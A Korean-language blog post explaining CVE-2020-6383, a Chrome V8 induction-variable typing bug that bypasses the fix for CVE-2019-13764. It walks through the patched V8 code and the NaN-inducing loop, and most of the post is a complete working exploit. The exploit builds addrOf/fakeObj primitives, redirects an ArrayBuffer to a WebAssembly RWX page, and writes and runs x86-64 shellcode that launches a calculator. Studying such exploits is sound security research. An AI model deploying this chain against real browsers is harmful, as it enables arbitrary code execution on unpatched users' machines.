본문 바로가기

카테고리 없음

CVE-2020-6383, Chrome Infinity Bug 2

이전 블로그 포스트 에서 CVE-2019-13764 취약점을 알아봤다. Project Zero(P0)가 Chromium측으로 취약점 fix를 제공했는데 취약점을 완전히 제거하지 못했기에 동일한 취약점 컨셉으로 재공격이 가능했다.

...
  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN());
  }
  // We only handle integer induction variables (otherwise ranges
  // do not apply and we cannot do anything).
  if (!both_types_integer || maybe_nan) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unfortunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increment's type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0; i < arity; ++i) {
      type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
  }
...

패치 코드는 반복문 최적화 과정에서 initial_type, increment_type에 따라 반복문 Range를 구할 때 induction variable i가 NaN이 되는 케이스를 체크한다. 이렇게 명시적으로 NaN이 되는 케이스를 걸러내 CVE-2019-13764 취약점을 제거 했다고 생각했으나 여전히 문제가 있었다. 패치 코드는 반복문 최적화가 진행되는 시점에만 inital_type, increment_type 변수로 NaN이 되는 경우를 확인한다. 하지만 최적화된 반복문이 진행되는 과정 중간에, 즉 for문 안쪽에서, increment를 변경해 NaN을 유도할 수 있다. 아래 반복문이 그런 경우다.

var increment = -Infinity;
var k = 0;
for (var i = 0; i < 1; i += increment) {
  if (i == -Infinity) {
    increment = +Infinity;
  }
  if (++k > 10) {
    break;
  }
}

초기 initial은 0이고 increment은 -Infinity로 둘 다 V8의 kInteger에 해당하므로 both_types_integer는 true이고, 이 둘의 덧셈 또는 뺄셈이 NaN을 만들지 않기 떄문에 P0가 제공한 NaN 체크 루틴에 걸리지 않는다. 하지만 반복문 중간에 i가 -Infinity인 시점에 increment를 +Infinity으로 변경함으로써 이 둘을 합이 induction variable i를 NaN이 되는 상황을 만들 수 있다.

따라서 CVE-2019-13764 취약점 코드를 약간만 수정하면 다시 공격 할 수 있다.

function trigger(argument) {
    var x = -Infinity;
    var k = 0;

    for (var i = 0; i < 1; i += x) {
        if (i == -Infinity) {
            x = +Infinity;
        }

        if (++k > 20) {
            break;
        }
    }

    i = Math.max(i, 0x100000800);
    // After step one:
    // actual = NaN, inferred = [0x100000800; +Infinity)
    // representation = double
    i = Math.min(0x100000801, i);
    // After step two:
    // actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
    // representation = int64_t
    i -= 0x1000007fa;
    // After step three:
    // actual = -2042, inferred = [6, 7]
    // representation = int32_t
    i >>= 1;
    // After step four:
    // actual = -1021, inferred = 3
    // representation = int32_t
    i += 10;
    // After step five:
    // actual = -1011, inferred = 13
    // representation = int32_t

    var array = new Array(i);
    array[0] = 1.1;

    var array_float = [1.1, 1.2, 1.3, 1.4];
    var array_object = [{
        "A": 1
    }, 1.1];

    return [array, array_float, i, array_object];
}

이 취약점엔 CVE-2020-6383 번호가 부여됐다. 끝......... 익스플로잇 까지 마무리 하고 싶어서 좀 더 해봤다.

CVE-2020-6383 패치를 적용한 V8 버전은 Pointer Compression가 적용되어 있다. 따라서 CVE-2019-13764 익스플로잇에서 사용하던 64비트 포인터를 유출하고 조작하는 방법은 더이상 유효하지 않았다. fake object를 만드는 과정에서 8바이트 주소에서 4바이트 오프셋를 다루는 것으로 변경했다.

// Make fake object
var map_array_float = array_corrupted[index_map_array_float].toBigInt();
var fake_map = map_array_float & 0xFFFFFFFFn;
var fake_properties = 0x41414141n;  // don't care
var fake_elements = 0x42424242n;    // don't care
var fake_length = 0x00000008n;      // length 4
var data1 = (fake_properties << 32n) | fake_map;
var data2 = (fake_length << 32n) | fake_elements;

var array_craft = [ data1.toNumber(), data2.toNumber(), 1, 0xffffffff ];
var array_craft_addr = addrOf(array_craft) & 0xFFFFFFFFn;

var fake_object = fakeObj(array_craft_addr - 0x20n);
var fake_object_addr = addrOf(fake_object) & 0xFFFFFFFFn;

ArrayBuffer 두 개 array_buf1, array_buf2를 만들고 array_buf1의 backing store 포인터를 array_buf2로 변경하던 기존의 방법도 수정해야 했다. ArrayBuffer backing store pointer는 Pointer Compression가 적용되지 않기 때문에 64비트 주소를 넣어줘야 하는데 우리는 array_buf2 주소의 하위 32비트만 얻을 수 있을 뿐이다. 상위 32비트를 얻을 방법이 없다. 이런 이유로 ArrayBuffer 두 개를 활용하는 방법은 쓸 수 없다. ArrayBuffer 1개만 사용하는 방법으로 수정했다.

 

WebAssembly instance는 RWX 속성을 가지는 64비트(!) 메모리 주소는 오프셋 0x68에 위치한다. addrOf 함수로 먼저 이 주소를 유출하고 ArrayBuffer의 backing store에 넣으면 된다.

// Change fake object's elements pointer to address of Wasm RWX region.
// Backing store pointer is located at &ArrayBuffer+0xC,
// so set fake object's elements pointer to &ArrayBuffer+0x4.
// After that, by accessing fake_object[1], we can change ArrayBuffer backing store pointer.
print(`set fake_object's elements pointer to array_buf1`);
array_craft[1] = (array_buf1_offset + 0x4n).toNumber();
print(`set array_buf1's backing store pointer to wasm_rwx`);
fake_object[1] = wasm_rwx;

최종 익스플로잇 코드는 아래와 같다. 기존 익스플로잇을 수정하는 방향으로 진행했기에 흐름은 전과 같다. 

let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);

Number.prototype.toBigInt = function toBigInt() {
    floatView[0] = this;
    return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

var array_trigger;
var array_corrupted;
var array_float;
var length_corrtuped;
var array_object;

var index_map_array_float = 20;
var index_map_array_object = 26;

function trigger(argument) {
    var x = -Infinity;
    var k = 0;

    for (var i = 0; i < 1; i += x) {
        if (i == -Infinity) {
            x = +Infinity;
        }

        if (++k > 20) {
            break;
        }
    }

    i = Math.max(i, 0x100000800);
    // After step one:
    // actual = NaN, inferred = [0x100000800; +Infinity)
    // representation = double
    i = Math.min(0x100000801, i);
    // After step two:
    // actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
    // representation = int64_t
    i -= 0x1000007fa;
    // After step three:
    // actual = -2042, inferred = [6, 7]
    // representation = int32_t
    i >>= 1;
    // After step four:
    // actual = -1021, inferred = 3
    // representation = int32_t
    i += 10;
    // After step five:
    // actual = -1011, inferred = 13
    // representation = int32_t

    var array = new Array(i);
    array[0] = 1.1;

    var array_float = [1.1, 1.2, 1.3, 1.4];
    var array_object = [{
        "A": 1
    }, 1.1];

    return [array, array_float, i, array_object];
}

function addrOf(obj) {
    var array_trigger = trigger(3);
    var array_corrupted = array_trigger[0];
    var array_float = array_trigger[1];
    var length_corrtuped = array_trigger[2];
    var array_object = array_trigger[3];

    // with accessing array_corrupted[index], we can access array_object, array_float array.
    var map_array_float = array_corrupted[index_map_array_float];
    var map_array_object = array_corrupted[index_map_array_object];

    array_object[0] = obj;

    // we leak 8bytes, map and properties pointer.
    var map_float = map_array_float.toBigInt();
    low_float_map = map_float & 0xFFFFFFFFn;

    var map_object = map_array_object.toBigInt();
    high_object_map = map_object >> 32n;

    // change array_object's map (object -> float)
    array_corrupted[index_map_array_object] = (high_object_map << 32n | low_float_map).toNumber();
    let leak = array_object[0];

    // restore array_object's map (float -> object)
    array_corrupted[index_map_array_object] = map_array_object;

    return leak.toBigInt();
}

function fakeObj(addr) {
    var array_trigger = trigger(3);
    var array_corrupted = array_trigger[0];
    var array_float = array_trigger[1];
    var length_corrtuped = array_trigger[2];
    var array_object = array_trigger[3];

    // with accessing array_corrupted[index], we can access array_object, array_float array.
    var map_array_float = array_corrupted[index_map_array_float];
    var map_array_object = array_corrupted[index_map_array_object];

    array_float[0] = addr.toNumber();

    // we leak 8bytes, map and properties pointer.
    var map_float = map_array_float.toBigInt();
    high_float_map = map_float >> 32n;

    var map_object = map_array_object.toBigInt();
    low_object_map = map_object & 0xFFFFFFFFn;

    // change array_float's map (float -> object)
    array_corrupted[index_map_array_float] = (high_float_map << 32n | low_object_map).toNumber();
    var fake = array_float[0];

    // restore array_float's map (object -> float)
    array_corrupted[index_map_array_float] = map_array_float;

    return fake;
}


print("triggering vulnerability");
while(1) {
    array_trigger = trigger(3);
    array_corrupted = array_trigger[0];
    array_float = array_trigger[1];
    length_corrupted = array_trigger[2];
    array_object = array_trigger[3];

    if (length_corrupted == -1011) {
        print('done. break');
        break;
    }
}

print("prepare ArrayBuffer")
let array_buf1 = new ArrayBuffer(1024);
let array_buf2 = new ArrayBuffer(1024);

let array_buf1_offset = addrOf(array_buf1) & 0xFFFFFFFFn;
print(`array_buf1 offset : 0x${array_buf1_offset.toString(16)}`);

let array_buf2_offset = addrOf(array_buf2) & 0xFFFFFFFFn;
print(`array_buf2 offset : 0x${array_buf2_offset.toString(16)}`);

// Make fake object
var map_array_float = array_corrupted[index_map_array_float].toBigInt();
var fake_map = map_array_float & 0xFFFFFFFFn;
var fake_properties = 0x41414141n;  // don't care
var fake_elements = 0x42424242n;    // don't care
var fake_length = 0x00000008n;      // length 4
var data1 = (fake_properties << 32n) | fake_map;
var data2 = (fake_length << 32n) | fake_elements;

var array_craft = [ data1.toNumber(), data2.toNumber(), 1, 0xffffffff ];
var array_craft_addr = addrOf(array_craft) & 0xFFFFFFFFn;

var fake_object = fakeObj(array_craft_addr - 0x20n);
var fake_object_addr = addrOf(fake_object) & 0xFFFFFFFFn;

// Prepare WebAssembly instance and its RWX region address.
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var func = wasm_instance.exports.main;
var wasm_instance_offset = addrOf(wasm_instance);
print(`wasm_instance_offset : 0x${(wasm_instance_offset & 0xFFFFFFFFn).toString(16)}`);

array_craft[1] = (wasm_instance_offset + 0x68n - 0x8n).toNumber();
var wasm_rwx = fake_object[0];
print(`wasm_rwx : 0x${fake_object[0].toBigInt().toString(16)}`);

// Change fake object's elements pointer to address of Wasm RWX region.
// Backing store pointer is located at &ArrayBuffer+0xC,
// so set fake object's elements pointer to &ArrayBuffer+0x4.
// After that, by accessing fake_object[1], we can change ArrayBuffer backing store pointer.
print(`set fake_object's elements pointer to array_buf1`);
array_craft[1] = (array_buf1_offset + 0x4n).toNumber();
print(`set array_buf1's backing store pointer to wasm_rwx`);
fake_object[1] = wasm_rwx;

let array_buf1_view = new Uint8Array(array_buf1);

// Writing shellcode
print("writing shellcode");
let shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5]);
array_buf1_view.set(shellcode);

print("popping calc");
func();

사실, 굳이 fake object를 만들어가면서 익스플로잇을 하지 않아도 된다. 이미 trigger 함수를 통해 OOB 가능한 배열 array_corrupted을 얻었기 때문에 array_corrupted[N1] 접근으로 Wasm RWX 페이지 주소를 유출하고, array_corrupted[N2] 접근으로 array_buf1의 backing store를 변경하면 된다. 구글에서 CVE-2020-6383 관련 글을 찾아보니 이런 방법으로 익스플로잇 하는 걸 볼 수 있다. 익스플로잇은 다양한 방법을 할 수 있는거니까.. But 그저 내 방식대로 해결해보고 싶었을 뿐.